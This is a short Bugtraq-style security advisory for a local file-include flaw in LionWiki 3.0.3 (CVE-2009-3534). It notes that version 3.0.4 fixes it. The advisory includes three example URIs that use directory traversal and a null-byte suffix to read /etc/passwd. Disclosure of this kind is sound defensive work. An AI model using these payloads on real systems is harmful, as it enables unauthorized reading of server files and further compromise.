LionWiki 'index.php' Local File Include Vulnerability

Bugtraq ID:	43617
Class:	Input Validation Error
CVE:	CVE-2009-3534
Remote:	Yes
Local:	No
Published:	Jul 10 2009 12:00AM
Updated:	Jul 10 2009 12:00AM
Credit:	MoDaMeR
Vulnerable:	Adam Zivner LionWiki 3.0.3
Not Vulnerable:	Adam Zivner LionWiki 3.0.4

LionWiki 'index.php' Local File Include Vulnerability

LionWiki is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

LionWiki 3.0.3 is vulnerable; other versions may also be affected.

LionWiki 'index.php' Local File Include Vulnerability

Attackers may exploit this issue via a browser.

The following example URIs are available:

http://www.example.com/index.php?page= ../../../../../../../../etc/passwd%00.jpg
http://www.example.com/index.php?page= ../../../../../../../../etc/passwd%00.htm
http://www.example.com/index.php?page= ../../../../../../../../etc/passwd%00.html

LionWiki 'index.php' Local File Include Vulnerability

Solution:
Updates are available; please see the references for more information.

LionWiki 'index.php' Local File Include Vulnerability

References:

• LionWiki Homepage (Adam Zivner)